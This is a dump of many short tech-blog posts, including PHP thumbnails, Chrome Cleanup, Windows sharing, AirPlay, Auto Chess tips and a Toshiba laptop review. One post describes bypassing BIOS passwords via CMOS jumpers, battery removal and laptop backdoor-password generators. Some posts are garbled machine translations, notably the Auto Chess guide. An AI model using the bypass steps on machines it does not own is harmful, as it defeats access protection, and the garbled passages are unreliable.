background image, with one part aligned from 4 sides: top, bottom, left and right. On the other hand, we continue to process the offset size from the upper left corner (codestream 56 - 58), more specifically, dividing this offset by combining two common processes.\nBackup original image to source thumbnail: After completing the above steps, now is the time to copy and reset some of the properties of the source image in the thumbnail section (see code line 60 - 73). Specifically, imageCopyResampled () function to combine and complete this process. Since using the original thumbnail image in the destination section created with imageCreateTrueColor () , we will get very nice results.\nYou can refer to the sample example here:\nhttp://php.net/manual/en/function.imagecopyresampled.php\nSend or save thumbnail images: When the system starts sending the PNG image header, and continues to use the imagePNG () function to send the image to the browser (line 75 - 77), here we use PNG format because the JPG does not support it. support transparent effects, and replacing those transparent parts will be black pixels.\nNext, many people will wonder: 'What if we want to save the photo instead of sending it to the browser?'. This idea is great and creative, especially when you want to re-use thumbnail images, and the process is quite easy to do. The imagePNG () function can take the name of the file as a backup parameter, and the next step to follow the logic will be to search for the thumbnail image, and if found, it will proceed to send it using readFile (). In case the thumbnail is not found, this process will switch to processing the collected information and creating an alternative PNG file on the server's file system. You can refer to some more examples of this imagePNG () function here:\nhttp://php.net/manual/en/function.imagepng.php http://php.net/manual/en/function.readfile.php\nIn essence, the image processing process above will require a lot of memory, and our final step is to free up the memory used (line code 80 - out), or refer to here:\nhttp://php.net/manual/en/function.imagedestroy.php\nAbove is the whole process of using some functions of PHP to create and process the source of image files, along with the resizing, alignment . To learn more about This program, please refer to the synthesis example here:\nhttp://php.net/manual/en/image.examples.php http://us3.php.net/manual/en/function.imageconvolution.php#104006\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwanBzJulmqGcYr2zu8Keqqyhnpx6uLXToWSpoKA%3D\n","link":"/post/thumbnail-processing-with-php/","section":"post","tags":null,"title":"Thumbnail processing with PHP"},{"body":"In the age of technological development today, it is important to form children's habits and initial skills. Especially the use of computers is no longer strange, but for everyone to know and master them, the better. For this reason, the following article introduces parents to the top 5 of the best typing practice software for kids today.\n1. Typing Instructor For Kids Platinum   Typing Instructor For Kids Platinum is the best typing practice software for kids today. Software through simple games helps them practice better and are interested in practicing more.\nDownload here: http://www.individualsoftware.com/?product=typing-instructor-for-kids-platinum-5-windows\n2. Ten Thumbs Typing Tutor   Ten Thumbs Typing Tutor is a commonly used typing instruction software. It helps children become familiar with 5 effective typing habits.\nTen Thumbs Typing Tutor through simple game game that helps children entertain and improve their typing at the same time. Especially, there is a version that allows connecting many users together to help children have the best learning and entertainment environment.\nDownload here: http://ten_thumbs_typing_tutor.vi.downloadastro.com/\n3. Mickey's Typing Adventure   Mickey's Typing Adventure helps children practice typing skills, the process of learning to get acquainted with Mickey's mouse helps children to be interested in practicing and supporting the assessment test of their practice.\nDownload here: http://disney-mickey-s-typing-adventure.software.informer.com/download/\n4. All the right Type   All the right Type offers lessons combined with simple games that illustrate the typing process. The typing process is assessed by the number of characters on the machine exactly what percentage and evaluate the practice of the baby.\nDownload here: http://all-the-right-type.en.softonic.com/\n5. Garfield's Typing Pal   Garfield's Typing Pal helps children with basic typing skills, supports many exercises and especially statistics of the training process to help them detect mistakes they make.\nDownload here: http://garfield-s-typing-pal.software.informer.com/download/\nHope parents have the best and most suitable choice to choose the best software for their children. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq1xc%2BipaBloKeupMDInJxmq5%2Bbwbit0Z5kn6eiYriqsNI%3D\n","link":"/post/top-5-best-typing-practice-software-for-kids/","section":"post","tags":null,"title":"Top 5 best typing practice software for kids"},{"body":"If you are a basic or professional Photoshop user, we also need to pay attention to Layer - a separate image layer that we can combine, paste each element of the image and edit it flexibly Works without damaging the original image.\n  The following article, Thuthuatphanmem.vn will guide the manipulation on the Layer without damaging the original image. Please follow the article below!\n1. The basic functions of the Layer bar The functions on the Layer toolbar are listed as shown below:\n  2. Create a new Layer To create a new layer, you can manipulate in the following ways:\nYou go to the menu Layer =\u0026gt; New =\u0026gt; Layer or press the key combination Shift + Ctrl + N .\n  Or you can click on the white paper icon next to the Delete icon as shown below to create a new layer.\n  3. Copy a Layer (Duplicate Layer .) Step 1: To copy a layer , right-click on the layer to copy and select\u0026nbsp; Duplicate Layer .\n  Step 2: The dialog box appears, you name the copied layer (1) and then click OK  (2).\n  4. Group / Merge two or more layers into one. Step 1: To merge layers into a group, hold Shift and left click to select the layers to merge. Then right-click and choose Group from Layers .\n  Step 2: Name the group in the Name box and then click OK to create the group.\n  5. Move the order on the Layer You click and hold the left mouse button to the layer to move and move up and down arbitrary.\n  6. Delete a Layer To delete a layer, click the layer to delete and then click the trash icon in the Layer toolbar or press the Delete key .\n  The article with instructions, basic operations on layers in Photoshop that beginners can get acquainted. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6K%2FyJxkqKiVp661tc6nqmannmK5osXEq6pmoZ5ivam706iqoaeg\n","link":"/post/basic-operations-on-layers-in-photoshop/","section":"post","tags":null,"title":"Basic operations on layers in Photoshop"},{"body":"The 'super' price of the American computer maker is now equivalent to the MacBook Air using the hard drive: 1,500 USD (before it is 2,000 USD). At this price, users will own a laptop equipped with 1.2 GHz Core 2 Duo chip, 2 GB RAM, 128 GB SSD solid-state storage drive.\n  Meanwhile, the higher speed version of the Adamo is priced at 2,230 USD with a 1.4 GHz Core 2 Duo, 4 GB RAM, 128 GB SSD drive and integrated 3G connection.\nDell Adamo has been on the market since April 2009 and is considered to be a direct competitor of the MacBook Air thanks to its elegant, ultra-slim design and making people fall in love at first sight. The product price is then $ 2,000 (1.2 GHz) and $ 2,700 (1.4 GHz).\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2aYnZmdpHqltdKcpq6mpJqxboGPaWSuq5Q%3D\n","link":"/post/dell-adamo-discounted-500-usd/","section":"post","tags":null,"title":"Dell Adamo discounted 500 USD"},{"body":"Unwanted software, including malicious advertising, browser penetration, pseudo-system optimization tools, tracking software, is still a problem for many users. Not only are they annoying, they also begin to commit scams, data theft or install virtual money digging tools.\nAmong the three new security features of the Google Chrome browser is software_reporter_tool.exe, an ESET product that periodically scans unwanted software and deletes it if the user wants it.\nThe tool, which is embedded in the browser, does not target all malware, but only malware that affects the browser, adding a layer of security to the computer. Even so, periodic scans that unknown users also cause worry about whether or not to consume CPU or monitor behavior. To decide which type of data will be sent to Google, see the options at this support page.\nIf you see a slow browser or many unusual ads, you can perform manual scans using the Chrome Cleanup Tool instead of waiting for it to periodically scan automatically.\nHow to clean the computer with the Chrome Cleanup Tool Open the browser and type chrome: // settings / cleanup in the address bar and press Enter to open Chrome's Clean up computer page.\n  Computer cleaning page of Chrome\nHere you will see the Find button to begin the process of scanning unwanted software and the option called Report details to Google - to send data about the software running on your computer, the scheduling tasks available, registry values, file names, extensions, modules related to unwanted software to Google. This data will be used to make the Chrome Cleanup Tool better defined and stored by Google for 14 days.\nAfter deciding whether to send information to Google or not, proceed with the scan by clicking on the Find button , the scanning process will take time so please wait patiently. When completed, you will see no results found or a list of software.\n  List of software detected by Chrome Cleanup Tool\nThere is also the option to send information to Google, you can turn it off if you want. When ready, click Remove to remove the software. Windows UAC will also display a dialog box asking to allow the Chrome Cleanup Tool to make changes on the computer before deleting, if yes, click Yes.\nOnce completed, the Chrome Cleanup Tool displays the notification as well as requires restarting the computer to complete the unwanted software scan. Click Restart Computer to restart the computer.\nSee more:\n10 tasks to clean up your Windows computer should not be ignored Google announced three new Chrome security features How to use CCleaner software to clean up computer trash effectively ncG1vNJzZmismaXArq3KnmWcp51ksabAxJyrZpmemXqzscyorZ5lo6myorjToWSsp5apxKK%2BxGasrKGenHqktNGopJ5lp57BqXnToZxmm5invK6xjJyjnpmeqr1uwM6oow%3D%3D\n","link":"/post/detect-and-remove-stealth-software-using-chrome-with-the-chrome-cleanup-tool/","section":"post","tags":null,"title":"Detect and remove stealth software using Chrome with the Chrome Cleanup Tool"},{"body":"Water purifiers are divided into 2 types: RO water purifier and Nano water purifier. However, the Nano water purifier does not use electricity so it does not need to calculate the power consumption. So does RO water purifier have a lot of power?\nPrinciple of operation of RO water purifier Unlike Nano water purifier (without electricity), RO water purifier needs electricity to conduct water purification. RO water purifier is equipped with RO membrane filter with the size of ultra-small holes (0.0001 micro meter ~ 1/10000 hair fibers), will remove most heavy metal ions, harmful bacteria as well as other impurities , help bring water after ultra-clean, can be taken directly without boiling.\n  When the water source is supplied to the water filter, it will go through the filter column No. 1 - the crude fiber core of PP. Filter core 1 has a slot size of 5 micro meters, which can remove impurities and dirt that are larger than 5 micro meters. Only keep dirt, impurities smaller than 5 micro meters.\n  Water will then be drawn from the No. 1 filter to the No. 2 filter. The 2nd filter contains activated carbon that absorbs heavy metals, organic matter, detergents, pesticides, and chemical substances. toxic. The Cationic ingredient found in the filter core 2 also has a water hardness reduction function that protects the RO membrane more durable, provides a fresh water source and has a natural sweet taste.\nNext, the water will be sucked into the filter core 3. Filter 3 with 1 micro meter gap will help remove dirt, rust, rough impurities, heavy metals . size\u0026gt; 1 micro meters.\nFiltered water in the third filter is pushed back to the RO filter. RO filter membrane operates under reverse osmosis mechanism, withstands high pressure and has a very small gap (0.0001 Micro) that will completely remove solids, water-soluble gases, metal ions, heavy metals , microorganisms, bacteria, large organic substances 0.0001 Micro, bring extremely pure water, extremely good for health.\nHere the water will be separated into 2 lines: 1 road going through the waste water valve and flowing out. The remaining line will continue to be directed to the CLT33 Carbon filter core. This filter has bactericidal, color absorbing, softening and PH balance for purified water.\nSo how much electricity does a RO water purifier consume per year? TipsMake.com will get a specific math problem for everyone to easily imagine.\nThe problem is as follows:\nA person uses 2 liters of water a day that the 2 liter water filter capacity of RO water purifier will consume 0.03KW of electricity.\nSo the water purifier has to filter 33.3 liters of new water to consume 1KW of electricity. 1KW calculates money = 2,000 VND.\nTo calculate the 1-year electricity of 1, one has the following formula:\n1 consumer: 0.03KW (2 liters of water / day) x 365 days x 2,000 VND / 1KW = 14,000 VND / year.\nIf the whole family has 4 members, the electricity must be paid: 4 x 14,000 VND = 56,000 VND / year.\nFrom the above figure, you can see that the RO water purifier is extremely low in electricity, so if you buy an RO water filter, the monthly electricity bill is not a problem.\nIn addition, we will show you the following experience to find a quality and energy saving water purifier.\nBuy genuine RO water purifier You should buy genuine water purifier from reputable brands such as Sunhouse water purifier, Kangaroo water purifier, Karofi water purifier, AOSmith water purifier, . to produce the best quality filtered water. .\nReplacing the filter cartridge periodically also helps ensure that the water is filtered clean and cost-effective.\nWhen using the manufacturer, it is recommended that users should replace the filter cartridge periodically as required to ensure the best water purification yield and the purest water source available.\nReplacing the filter cartridge periodically will also ensure durability for RO water purifiers.\nHopefully, with the above article, you can know the electricity that the water purifier consumes for 1 year and know how to use the water filter properly to ensure durability.\nncG1vNJzZmismaXArq3KnmWcp51ksbCx0maroZ1dp7xuw8CtnKtloKq%2FqrLInqlmraOaeqa4xJyrq6GTnsG6\n","link":"/post/does-the-ro-water-purifier-use-electricity/","section":"post","tags":null,"title":"Does the RO water purifier use electricity?"},{"body":"Auto Chess Mobile, the game where you have to control a lot of things. Of which the most important are chess pieces and money, you have to control these two things well to be able to get to your final game.\nIn this article, I will introduce you to a few tips to play including the essentials for you to control the roster and reasonable spending that you can apply for both high rank and low rank in the game.\nHow to upgrade 2 stars and 3 stars in Auto Chess Mobile How to rename characters in Auto Chess Mobile for free How to register an Auto Chess Mobile account without a phone number Tips for selecting generals in each stage of the game Choose a flag when starting the game When starting the game, the system will give you very interesting choices. For example, you can see that at the same time 3 of the Betrayers will appear, and as usual, we will choose 1 and lock in order to be able to choose the remaining Traitors to get 2 stars.\n  This may be good for you in the early stages of the game, but if it is in the long run, you will lose more than other players.\nSo it's best to choose generals with good resistance. Some good examples are as below.\nGoblin - Craftsman\n  At the beginning of the match, the Goblin chess pieces, Craftsmen were pretty much so the team Tinker Ba Thien Fake and Teardropers were used by many people because of the good damage in the early stages, moreover, Goblin quite buffalo and the team does not die easily.\nIn it, the Ripper and Clock can tank well and Tinker will discharge the attack from behind. In addition, having a fake Soul will help the team to defeat the main targets of the enemy thanks to the ability to raid the squad from behind.\nIn addition, having 2 more Craftsmen will help you get 10 healing points, while 3 Goblins will be added with 15 armor and 10 healing points. It was very buffalo in the early game.\nWarriors and Movements\n  If you do not like Goblin, you can choose Line Up Right of the King of the Sea - The Breaking Skull Hunter - the Head of the Prisoner to start the match. In it, the King of the Sea and the Head of the Shogun will be the Warriors to help activate the armor-raising effect for the Soldiers.\nAnd since this effect requires 3 Warriors, you can choose Chewing Chi Linh to temporarily because in late game you can Cham Chi Linh without thinking much.\nIn addition, you will have a Dynamic effect that will increase 250 health activated by Broken Skull Hunter and Red Cross Chief. At the beginning of the game, this amount of blood is very valuable.\nIn addition, if you do not have a Breaking Skull Hunter or Lava Spell, you can choose the Swordsman because this is a Dynamic Flag piece - A Soldier who can also activate the Warrior effect can also activate the War effect. Doctors and Movements easily.\n  In addition to the 2 popular line ups above, you can choose other line ups. For example, Dryad, with the ability to go up to 2 stars is extremely fast because only two pieces of the same piece are needed, along with another chess piece with the same Dryad class.\nOr you can choose Rider (Build is extreme but in late game it is very effective). What you need to remember here is to prioritize good resisting heroes in the early stages of the game.\nMid-game period Starting with the Tank line to get through a certain number of rounds, the deeper the damage, the lack of damage will show clearly. This is the time you have to choose two ways Hunter or Assassin.\nBoth systems have a lot of damage and can hide behind the Tank and can still inflict significant damage to the enemy. However, you need to consider these two paths.\n  Assassin\n  If you are in possession of Thich Hon Phoi who is on hand, then you follow along Thich Khuyen as the extremely reasonable choice. With Thich Hon Hai, you can choose Nu Vuong M Nhi Photo, then you can add some three-gold chess pieces such as U Photos, UA King, Venom or Hai Uyen Da Nang.\nAmong these names, the Hai Uyen Astronaut is a good choice for Shadow Dance skills. Quite a lot of Streamer love to use this piece in the role of the main damage of the team. Upgrading the Hai Uyen Counter-Strike from 1 to 2 stars will help your team dominate.\nAfter having liked the guests in the team, in late game, the only remaining Goblin on the chessboard is the Poisonous Hero, which helps to make wide area DPS and reduce enemy armor to support the Specialists who specialize in physical damage. .\nSo if it's about mid game late and you can't find a way to upgrade the Ripper and the Fake God, sell it and focus on the Readers and Destroyers.\nFor the Hunter\n  Hunters are often used if players follow the Broken Line Hunter to get the effect of blood from the Dynamic Line with the basic Line Up as shown below.\nWith the Hunter, you will have a lot of different options and combos to win TOP 1. In the above lineup, the main damage comes from the Non-Sleep Visitor Association and the Windmill Visitor Agreement.\nBecause the Hunters can be \"hooked\" by the Like-minders, you will need these Hunters in the middle of the formation to avoid that happening.\nSoul Harvesters are added to get the Sleepless Harvest of the Soul Harvester and the Sleepless Visitor to reduce opponents' armor.\nThe end of the game When you reach Courier level 8, you will have a chance to buy 5 Gold pieces, this is a list of 5 gold pieces you can buy:\nHelicopter Shaman of the Spirit Hunters of Love Haunting Spirit The Destroyer   A wide range of damage-causing skills can change the battle, so getting one of the 5 gold pieces in the above list is essential. In it you should prioritize the Destroyer, the Darkness Spirit or the Catcher.\nUpgrading these pieces to 2 or 3 stars is difficult because the number of generals 5 gold in 1 game is very small.\nAuto Chess Mobile gold management tips This is the most important part of Auto Chess Mobile, using gold is completely based on personal experience, you can judge whether you should use Gold or not. You need to use Gold at the right time in buying flags and leveling up. Here are some tips for you.\nWhen you reach Round 6 or 7, you go to the courier level with 5 pieces currently on the table. If the other 4 pieces are a good combo, save the remaining pieces if your formation is weak, you must use 5 Gold to level up to be able to use the 5th piece on the board. When you reach level 6 courier you need 8 experience points, which means you need 10 gold, if you have a good squad you can wait 4 more rounds and use 5 gold to reach level 6 on round 10.   At level 7, depending on the situation, please use Gold. In the 14th and 16th rounds will be the ideal time. If your team is winning then there is no need to use Gold quickly. If you can make a series of Win Streak 8 rounds in a row, you can use 10 more gold to reach Level 7 Courier. If you have a hard time winning a match, it is not a bad idea to upgrade to 7 courier soon, then you can build a team that suits you and start saving money to start late. Game For level 8, 9, 10 for Courier, upgrade according to the situation of your squad. Each chess piece that appears on the board can completely change the face of the game.   In addition to winning series, you can use consecutive losing sequence to accumulate gold, then extract money as soon as you reach 50 gold. However, you must have a lot of experience and understand the game mechanism to be able to use it.\nFor those who are new to playing, build yourself a standard squad with 7 pieces and can defend against enemy attacks. How to not win, it only takes 1-2 points.\nYou can Reroll to find the desired pieces for 2 Gold at a time. However, the poor dignity has Reroll 25 times in a row you have nothing but annoyance. So if you are late - game, your economy after 19 or 20 games will be ideal.\nThe importance of 3-star chess pieces in Auto Chess Mobile \"If the 2-star pieces are 1 star stronger then the 3-star pieces are definitely the best pieces and you have to get them at any cost.\" That is an unnecessary thing.\nBecause the more you get to the end of the game, the harder it is to find the same chess pieces, so it is quite risky to upgrade the general to 3 stars.\n  The best condition at this time is that you should focus on upgrading the main tank generals and the main damage champion to 2 stars and expect a little luck to be able to upgrade them to 3 stars. But which chess pieces used to get the effect you can leave 1 star or upgrade to 2 stars is also good.\nThese are some of the most effective ways to use gold in Auto Chess Mobile and how to choose the best Auto Chess Mobile stage by stage.\nncG1vNJzZmismaXArq3KnmWcp51ktLC4w2admqqdYsGqvNJmmKecXZi1sLvSnmSaraSkeqS0xKyqZqWfl7atsQ%3D%3D\n","link":"/post/gold-farm-tips-and-choose-auto-chess-mobile/","section":"post","tags":null,"title":"Gold farm tips and choose Auto Chess Mobile"},{"body":" To connect your iPhone to TV wirelessly you must rely on the Airplay technology and Apple TV unit. Follow the steps below to wirelessly connect almost all iPhones (iOS 6, 7, 8, 9) ) to a TV to play audios, videos, photos, games, and device...\nPart 1of 3:\nPreparing  Check that your devices support the Airplay[1] function. To connect iPhone to TV wirelessly by Airplay, you need: iPhone 4 or later. iPhone 4s or later for AirPlay Mirroring. The 2nd generation Apple TV or later. A Wi-Fi network in good condition.   Turn on your Apple TV and TV. If it's your first time to use an Apple TV, How to Set Up an Apple TV can help you connect Apple TV to TV and set it up.   Connect your iPhone and Apple TV to the same Wi-Fi network. If it's your first time to use an iPhone, How to Join a Wireless Network from Your iPhone will teach you how to connect your iPhone to a wireless Internet. If it's your first time to use an Apple TV, Use Apple TV can help you connect Apple TV to the wireless network.   Turn on Airplay on Apple TV. Go to Settings on your Apple TV Choose Airplay Click to turn Airplay on.  Part 2of 3:\nUsing Airplay  Swipe up from the bottom of your iPhone (running iOS 7, 8 ,9) screen to open Control Center.[2] To use AirPlay on iPhone running iOS 6, double press the Home button to open a list of recent apps. Swipe from left to right to open the brightness menu. Tap the AirPlay button and choose the name of your Apple TV from the menu that appears.   Tap Airplay to check the list of Airplay receivers.\n  Choose the name of your Apple TV from the list and tap \"Done\". If you turn on Mirroring, you'll stream your entire iOS screen on the TV that's connected to your Apple TV.   Return to the Home screen, and play the music, video, photo, or screen you want to stream, then they will be displayed on the TV screen.\n Part 3of 3:\nUsing Peer-to-Peer Airplay  To use peer-to-peer AirPlay, firstly make sure your devices meet the following requirements: iPhone 5 or later Apple TV (3rd generation rev A, model A1469 or later)   Connect your iPhone and Apple TV to Wi-Fi. With peer-to-peer AirPlay, your iOS device and Apple TV don't have to be on the same Wi-Fi network.\n  Turn on the Bluetooth on your iPhone.\n  Swipe up from the bottom of your iPhone (running iOS 7, 8 ,9) screen to open Control Center.[3] To use AirPlay on iPhone running iOS 6, double press the Home button to open a list of recent apps. Swipe from left to right to open the brightness menu. Tap the AirPlay button and choose the name of your Apple TV from the menu that appears.   Tap Airplay to check the list of Airplay receivers.\n  Choose the name of your Apple TV from the list and tap \"Done\". If you turn on Mirroring, you'll stream your entire iOS screen on the TV that's connected to your Apple TV.   Return to the Home screen. Play the music, video, photo, or screen you want to stream, then they will be displayed on the TV screen.\n  David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9NmoKmgn6OybsDOZquvZaeev6a4xKyqpbE%3D\n","link":"/post/how-to-connect-iphone-to-tv-wirelessly/","section":"post","tags":null,"title":"How to Connect iPhone to TV Wirelessly"},{"body":"Public folders are a convenient way to share files on your computer. You can share files in the Public folder with other users using the same computer and with other computer users on your network. All files and folders in the Public folder will automatically be shared with those who have access to the Public folder.\nThe Public folder contains subfolders to help you organize your files more organized, but they don't contain any files until you or others add them. Folders sorted by content type, including:\nC: UsersPublicPublic Documents C: UsersPublicPublic Downloads C: UsersPublicPublic Music C: UsersPublicPublic Pictures C: UsersPublicPublic Videos Public folder sharing is off by default (except on a homegroup). By turning on Public folder sharing, anyone on your computer or network can access these folders to open and view files stored on them as if they were on their computer. If you grant a file change permission, any changes made on another computer will change the file on your computer.\nWhen turning off Public folder sharing, only people with user accounts and passwords on your computer can access it.\nThis article will show you how to enable or disable Public folder sharing on Windows 10 computers.\nHow to share a folder (folder) via LAN on Windows 10 How to enable the Sharing tab in Windows 10 Tips to help you easily share folders on Windows with Android You need to be logged in as an administrator to enable or disable Public folder sharing.\nExample of shared Public folder on network.\n  How to enable and disable Public folder sharing on Windows 10 Step 1 . Open Control Panel, click on Network and Sharing icon.\nStep 2 . Click on the Change advanced sharing settings link on the left.\n  Step 3 . Expand All Networks .\nStep 4 . In Public folder sharing , select Turn on sharing so anyone with network access can read and write files in the Public folders or T urn off Public folder sharing (Default) and click Save changes .\nStep 5 . When done, close the Network and Sharing Center if desired.\n  I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1llJ7Aoq7LnmSprZKhtqR5xaijnZ2iYsCprdGipaBln6N6uLXNnaawq11mfQ%3D%3D\n","link":"/post/how-to-enable-and-disable-public-folder-sharing-on-windows-10/","section":"post","tags":null,"title":"How to enable and disable Public folder sharing on Windows 10"},{"body":" The Microsoft Store is an online marketplace where you can buy everything Microsoft and more. If you have Windows 10, you have the Microsoft Store app that you can use to get other apps. You can also use a web browser on any computer to...\nMethod 1of 2:\nUsing the Microsoft Store App  Open the Microsoft Store   . You'll find this in your Taskbar or Start Menu tiles. You'll only have the Microsoft Store desktop application if you're using Windows 10 or the Enterprise version of Windows 8. You should also be automatically logged in since you entered your Microsoft password when you started your computer. However, if you're using a guest account or aren't logged into the correct profile, continue with this method.   Click the profile icon at the top-right corner. The profile you're currently using, if any, should appear in a drop-down menu. If you're not logged in, you'll see an icon that looks like the outline of a person.\n  Click Sign in or the profile name. A sign-in window will pop-up if you're not currently signed into an account. If you click on a profile that's already signed in, you'll get a window pop-up with that account info and a Sign out button. If you're signed into an account you don't want to use, click Sign Out from this window.   Select an account and click Continue. You'll be able to sign in with a different account other than the ones associated with the PC you're using by clicking Microsoft account under the header, \"Use a different account.\" Click Continue to proceed.   Enter the account information. If you picked an account that's associated with the computer, you only need to enter the password. If you choose to use a different Microsoft account, you'll need to enter the email, phone, or Skype information and then enter the password. Once you enter that information successfully, you'll be redirected to the homepage of the Microsoft Store.  Method 2of 2:\nUsing a Browser  Go to https://www.microsoft.com/en-us/store/. You can access this site from a Mac, but you won't be able to download and install anything unless you're using Windows. You can also use a mobile web browser to log in to the Microsoft Store, but you will run into errors when you try to download anything.   Click the profile icon in the top right corner of the page. This looks like an outline of a person inside a circle. You'll be redirected to a login page.\n  Enter your email, phone, or Skype to sign in with Microsoft. You can also click Create one to create a free Microsoft account if you don't have one. If you forgot your login info, you can click Sign-in options to change how you can sign in or request your username. You can also sign in with Windows Hello or a security key if you click the second option in blue that says \"Sign in with a security key\", which requires previous set up.[1] Click Next to continue.   Enter your account password and click Sign In. If you can't remember this, you can click Forgot password to reset it. Again, you can use Windows Hello or a security key if you have it set up.[2]\n  Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnHqqutOoZK2glWK6qq%2FRqKqonqRiwLW70Z4%3D\n","link":"/post/how-to-log-into-the-microsoft-store/","section":"post","tags":null,"title":"How to Log Into the Microsoft Store"},{"body":" Halloween is a fun holiday where you get to dress up as whatever you want. A nurse's costume is a great way to pay homage to a difficult profession while still looking great. To make your own nurse costume, get a white dress with a collar,...\nPart 3of 3:\nAdding Accessories  Drape a stethoscope around your neck for added authenticity. Nurses often wear stethoscopes to check a patient's heartbeat. To make your nurse costume more realistic, add a stethoscope around your neck. You can even use it to listen to people's heart beats throughout the night.[14] You can find used stethoscopes at most thrift stores.   Put on white tights or stockings to stay warm. If you are wearing your costume on a cold day, keep your legs warm with some white tights or stockings. Make sure they are plain white without any added embellishments to match your costume.[15] If you want to make your costume more sexy, wear some white fishnet stockings.   Wear white heels or sneakers for authentic footwear. Most nurses today wear comfortable shoes that they can walk around in. To complete your costume, throw on some white sneakers to stay comfortable. Or, put on a pair of white heels to make your costume more sexy.[16]\n  Add a bold red lip to match your costume. Since the accents on your costume are already red, you can play into that by matching your lipstick with the rest of your outfit. Use a bright red lip color that goes well with your costume. Take your lipstick with you in case you need to reapply throughout the night.[17] If you are a scary or zombie nurse, smudge your lipstick so that it doesn't look perfect. Tip: Keep the rest of your makeup subtle so that the red lip stands out.\n  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYynrKurlWKwsL%2FTrqSe\n","link":"/post/how-to-make-a-nurse-costume/","section":"post","tags":null,"title":"How to Make a Nurse Costume"},{"body":"  Open Computer. This method applies to desktop users. Unplug the power cord from the back of the computer. Remove the case to access the motherboard. Motherboard is the main board of the computer, all the important parts are located here.\nRemember to ground yourself before touching the inside of the computer, or you will damage components.\n  Find the BIOS jumper. There are dozens of jumpers on the motherboard, you have to choose exactly. See the motherboard documentation and check it out carefully. Jumper plugged in 2 out of 3 is the BIOS password controller.\nJumper name can be CLEAR CMOS, CLEAR, CLR, JCMOS1, PASSWORD, PSWD, etc.\nThe jumper is usually located in the corner of the motherboard and near the CMOS battery.\n  Move jumpers. To reset the BIOS password, you need to move the jumper plug in 2 out of 3 slots. On most systems, moving the jumper to another scale can change the password. For example, if the jumper is plugged in at pins 1 \u0026amp; 2, you can simply switch to pins 2 \u0026amp; 3.\nSome systems will reset the password when the jumper is completely removed.\n  Turn on the computer. After rebooting, the machine will clear the BIOS password. Turn off the machine and return the jumper to the original position. Close the case and use as usual.\nBack door password   Determine if you can reach the CMOS jumper. If using a laptop, often can not reach the jumper. So you need the backdoor password. These passwords are encrypted, but you can decrypt them with special key generation commands.\n  Turn on the computer. When asked for a password, enter it 3 times. The System Disabled screen will then appear. Don't worry, the system is not disabled but will work normally after reboot.\n  Record the sequence of numbers displayed on the screen. You need this sequence of numbers to create a BIOS backdoor password. This sequence can contain both letters and numbers.\n  Create a password. On a working computer, go to this page and enter the passcode from the laptop. The program will generate a password for you. This process may take several minutes.\nSome laptops use their serial number to generate a password. Depending on the table in the More Details section of the website above, decide which number to enter.\nRemove the CMOS battery   Open Computer. This method only applies to desktop computers. Make sure the computer is powered off. Remove the case to access the motherboard. Unplug the power cable at the back of the computer to completely disconnect it.\nDon't forget to ground yourself before touching the inside of the computer, or you will damage components.\n  Locate the CMOS battery. The CMOS battery is round, silver in color, looks like a watch battery. Carefully remove the battery from the case. Wait about 5-10 minutes to discharge all the power accumulated in the motherboard.\nYou can bypass the timeout by moving the CLR_CMOS jumper to the 'clear' position while removing the battery. As such, it will automatically release the accumulated power in the CMOS chip.\n  Install the battery. All BIOS settings will be reset when you turn on the computer. You need to reset the date and time in the BIOS settings menu.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLK1ecGipqxloJbAtMPOq5s%3D\n","link":"/post/how-to-reset-bios-password/","section":"post","tags":null,"title":"How to Reset BIOS Password"},{"body":"C600 has a set of speakers for good sound quality, decent battery life, low price but the configuration still satisfies the basic needs.\nWith a price of only VND 7.5 million, Toshiba's C600 is aimed at students, students or those who do not need to use a laptop with a strong configuration. Unlike most cheap lines, there are almost no other highlights, C600 brings speakers with good sound quality equivalent to entertainment lines of over VND 15 million.\n  Toshiba Satellite C600. (Photo: Tuan Hung).\nIn Vietnam market, Toshiba Satellite C600 series is distributed with 2 versions including Satellite C600-1007U and Satellite C600-1009U. These two models in turn use Intel Pentium Dual-Core processor at 2.3 GHz and Intel Core 2 Duo at 2.26 GHz, respectively. Both use 2GB of DDR3 RAM memory, standard Wi-Fi connectivity, Bluetooth 3.0, SuperMulti DVD drive and multi-point mouse.\nSatellite C600-1007U and Satellite C600-1009U have reference prices of 7.5 and 8.85 million VND respectively (excluding VAT).\nThe version tested in this article is the Toshiba Satellite C600-1009U equipped with a Core 2 Duo chip with 2.26 GHz speed.\nHere are some general reviews, details about this model (click on each section to see details).\nPart 1: Design, keyboard, Touchpad \n Part 2: Screen, performance \n Part 3: Sound, heat sink, battery life. \n Part 4: Compare with some other models.\nGeneral assessment.\n* Advantages:\n- Cheap\n- Hard plastic shell against dirt, fingerprints - The sound system is very good compared to the price - The battery life is quite good\n* Defect\n- Performance is not high\n- Use the old processor line\nPart 1: Design, keyboard, touchpad Design   Float is a strong point that makes the C600 different from other low-cost models.\nToshiba C600 has an overall design that is not much different from the traditional line on the Satellite line of about VND 10 million.\nHowever, the strongest point in this model's design is the floating style instead of glossy plastic like some previous cheap models of Toshiba or some other brands. The machine looks more and especially used to easily keep cleaner than glossy plastic that easily adheres to fingerprints. The outstanding Toshiba logo in the middle is more imprinted than the strokes floating around.\n  The underside of the C600.\nThe Satellite C600 is quite thick and weighs about 2.14 kg including the 6-cell battery included, the size does not stand out from other 14-inch laptops. According to the general trend, the underside of the C600 has no longer integrated many open caps to replace, repair each component parts as before but instead of many openings to increase heat dissipation and also make the machine look neat. than.\n  Right next to the machine.   Left edge.\nNot surprisingly, a low-cost model like the C600 lacks many ports. It has no HDMI port, the latest high-speed eSATA or USB 3.0 data connection port. It only has basic connections such as two USB ports, a memory card reader, LAN port, 3.5mm headphone jack and microphone.\nKeyboard, touchpad.   Typical keyboard of Toshiba.\nNot using the trendy chiclet keyboard design, the C600 still has a keyboard with a traditional Toshiba design. The navigation keys are a bit smaller than the other keys but still large enough to work without mistaking. The 